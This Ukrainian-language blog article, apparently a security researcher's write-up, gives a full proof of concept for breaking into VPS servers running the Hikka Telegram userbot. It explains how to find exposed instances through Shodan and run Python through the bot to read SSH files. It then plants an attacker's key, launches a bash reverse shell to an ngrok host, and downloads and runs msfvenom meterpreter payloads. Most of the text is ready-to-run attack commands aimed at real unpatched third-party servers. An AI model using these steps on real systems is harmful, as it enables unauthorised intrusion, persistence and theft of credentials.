Злам VPS-серверів Hikka в Telegram через RCE

Про цю вразливість, а точніше цілий її ланцюжок, в інфраструктурі юзербота Hikka, який працює через додаток Telegram, я вперше дізнався 1,5 роки тому. Про неї знали тоді доволі вузьке коло осіб, в осному пентестери, дослідники безпеки. Я навмисно не публікував деталі, чекаючи поки розробники і власники серверів “залатають діру” (їм було повідомлено  про це). Деякі вразливості були офіційно зареєстровані і виправлені (CVE-2025-52571, CVE-2025-52572). Однак у мережі досі “гуляють” незахищені інстанси, які хтось колись створив і забув. Вони можуть бути зламані у будь-яку хвилину. Також тут є серйозна проблема на боці самого Telegram, який дозволяє користувачам віддалене виконання Python-команд зі своєї інфраструктури. Власне, тому й захотілось розповісти про це, щоби привернути увагу і попередити інших. Нижче подаю повний Proof of Concept (PoC) як мені вдалося проексплуатувати цю вразливість декількома шляхами. За основу взяв робочий інстанс на базі власного VPS-сервера з Hikka.

Hikka userbot RCE via Telegram. Proof of Concept.

1. Шукаємо в Shodan вразливі VPS-сервери з Hikka userbot:

https://www.shodan.io/search?query=title%3A%22Hikka+userbot%22

2. Відкриваємо будь-який VPS і приєднюємо інстанс до свого мобільного пристрою через авторизацію по QR-коду (тиснемо “Quick start”):

Якщо сервер “свіжоспечений”, то ви станете першим користувачем і сервер автоматично прийме та прив’яже вас до інстантсу. Якщо ж на сервері вже є сесії інших користувачів, то в такому випадку хтось з них має схвалити доступ у себе в Hikka userbot. Інакше не залогуєтесь.

Після авторизації в обліковому записі Telegram на смартфоні службовий бот @BotFather автоматично розгорне Hikka Userbot та усі його модулі, а на сторінці сервера з’явиться повідомлення про успішне встановлення:

3. Переходимо тепер в бот Hikka Userbot (не Hikka Logs) і виконуємо по черзі команди для експлуатації Remote Code Execution на Python:

  • .e import os; os.listdir('.') – отримуємо вміст поточної директорії Linux-сервера, на якому розгорнутий Hikka bot і файлів в ній (аналог команди ls);
  • .e import os; os.getcwd() – вивід шляху до поточної директорії, у якій знаходиться бот (аналог команди pwd);
  • .e import os; os.listdir('/') – отримуємо вміст кореневої директорії;
  • .e import os; os.listdir('/home/username') – отримуємо вміст домашньої директорії;
  • .e import os; os.listdir('/home/username/.ssh') – отримуємо вміст домашньої директорії з ключами ssh-доступу;
ЧИТАЙТЕ ТАКОЖ:  Kali Linux: історія, встановлення, налаштування

4. Тепер необхідно додати ключі SSH-доступу на сервер.

Генеруємо їх на своєму локальному комп’ютері командою ssh-keygen і додаємо публічний ключ на VPS-сервер:

  • ssh-keygen -t rsa -b 2048 -C "user@name" – генеруємо private та public key;
  • .e await client.send_file(message.chat_id, "/home/username/.ssh/authorized_keys") – переглянути (завантажити) файл з ключами SSH;
  • .e await client.send_file(message.chat_id, "/home/username/.ssh/known_hosts") – переглянути (завантажити) файл з хостами, які під’єднувалися до сервера;
  • .e await client.send_file(message.chat_id, "/etc/ssh/sshd_config") – завантажити файл конфігурації служби SSH на сервері;
  • .e with open("/username/.ssh/authorized_keys", "a") as f: f.write("ssh-rsa xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx user@name") – створити файл authorized_keys на сервері із заданим вмістом;
  • .e import os; os.chmod("/home/username/.ssh/authorized_keys", 0o600) – виставляємо необхідні права доступу;
  • .e import os; os.chmod("/home/username/.ssh", 0o700)
Приклад виконання віддаленого коду на сервері Hikka з допомогою Python через додаток Telegram

Якщо папки .ssh не існує, можна її створити:

  • .e import os; os.makedirs("/root/.ssh", exist_ok=True) – створити директорію.

Можна переглянути інші директорії:

  • .e import os; os.listdir('/etc/ssh')
  • .e import os; os.listdir('/usr/sbin')
  • .e import os; os.listdir('/bin')
  • import os; os.path.abspath("interesting.php") – подивитися повний шлях до файлу у поточній директорії.

Інші команди:

  • .e import os; os.remove("/root/.ssh/authorized_keys") – видалити файл.
  • .e with open("new_file.txt", "a") as f: f.write("\nНовий текст додано.") – додати текст в файл;
  • .e with open("interesting.php", "w") as f: f.write("<?php\n echo 'Hello, World!';\n?>") – створити php-файл;

Створити багаторядковий php-файл:

.e with open("interesting.php", "w") as f: f.write("""<?php
echo 'Hello, World!';
$variable = 123;
echo $variable;
?>""")

В результаті усіх цих операцій, ми повинні успішно підключитися до сервера по SSH-ключу:

ssh -i /home/username/privatekey username@X.X.X.X

Далі можна експлуатувати вразливості sudo, підвищувати привілеї, закріплюватися, розгорнути ssh-тунелінг чи socks-форвардинг, встановити WireGuard VPN і т.д.

Заливаємо Reverse Shell на VPS через Hikka-бот

Існує ще один спосіб як проексплуатувати цю вразливість і отримати доступ до VPS-сервера:

  • ngrok tcp 4486 – запускаємо на локальному комп’ютері утиліту Ngrok для порт-форвардингу. На вихід отримаємо адресу сервера для прийому з’єднання. Наприклад: tcp://5.tcp.eu.ngrok.io:10843 -> localhost:4486
  • nc -lvnp 4486 – залишаючи Ngrok активним, запускаємо на локальному комп’ютері утиліту Netcat на тому ж локальному порті;
  • .e with open("/tmp/reverse.sh", "w") as f: f.write("bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10843 0>&1") – створити файл з шелом на сервері;
  • .e import os; os.listdir('/tmp') – перевіряємо чи файл створився на сервері;
  • .e import os; os.chmod("/tmp/reverse.sh", 0o755) – виставляємо права на виконання файлу;
  • .e import subprocess; subprocess.Popen(["/bin/bash", "/tmp/reverse.sh"]) – запускаємо шелл на виконання.
ЧИТАЙТЕ ТАКОЖ:  Аудит безпеки веб-додатків з Acunetix Vulnerability Web Scanner

В результаті отримуємо зворотне з’єднання на своїй локальній машині в Netcat:

Далі додаємо SSH-ключ, щоб закріпитися в системі:

echo "ssh-rsa xxxxxxxxxxxxxxxxxxxxxxxxxxxhqX user@name" > /home/username/.ssh/authorized_keys

Cпосіб з використанням Metasploit

Генеруємо корисне навантаження з допомогою Msfvenom:

  • msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=5.tcp.eu.ngrok.io LPORT=17588 --platform linux --arch x64 -f elf > hikka.elf – для 64-бітної архітектури.
  • msfvenom -p linux/aarch64/meterpreter_reverse_tcp LHOST=5.tcp.eu.ngrok.io LPORT=17588 --platform linux --arch aarch64 -f elf > hikka.elf – для 64-бітної мобільної архітектури.
  • msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=5.tcp.eu.ngrok.io LPORT=17588 --platform linux --arch x64 -e x64/xor -f elf > hikka.elf – з шифруванням XOR.

Розгортаємо файл на локальному сервері Cloudflared:

https://xxxxxxxxxxxxxxxxxxxxxxxx.trycloudflare.com/hikka.elf

Закачуємо на сервер:

wget https://xxxxxxxxxxxxxxxxxxxxxxxx.trycloudflare.com/hikka.elf -O /tmp/hikka.elf
chmod +x hikka.elf
/tmp/hikka.elf

Можна також запустити шелл і в Telegram через Hikka bot:

.e import subprocess; subprocess.Popen(["/bin/bash", "/tmp/hikka.elf"])

Отримуємо з’єднання з допомогою Msfconsole:

sudo msfconsole
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter_reverse_tcp (або інша архітектура, треба знати)
# Вказуємо зовнішній хост (Ngrok) для підключення
set LHOST 9.tcp.eu.ngrok.io
set LPORT 23365  # Ngrok порт
# Вказуємо локальний хост і порт, які Ngrok форвардить
set ReverseListenerBindAddress 127.0.0.1
set ReverseListenerBindPort 4486
exploit

Підключилися. Сесія Meterpreter налагоджена.

Увага: Якщо ви знайшли у мережі вразливий сервер Hikka, рекомендуємо негайно повідомити про це власника!

Автор: © Konrad Ravenstone, KR. Laboratories Research

Konrad Ravenstone// про автора

Кібермольфар, хакер, лінуксоїд, дослідник безпеки в KR. Labs Research

Сподобалася стаття? Поділитися в соцмережах:
KR. Labs Research
Рекомендоване:
Безкоштовний сервіс Cloudflared (Cloudflare Tunnel) може бути корисним як для…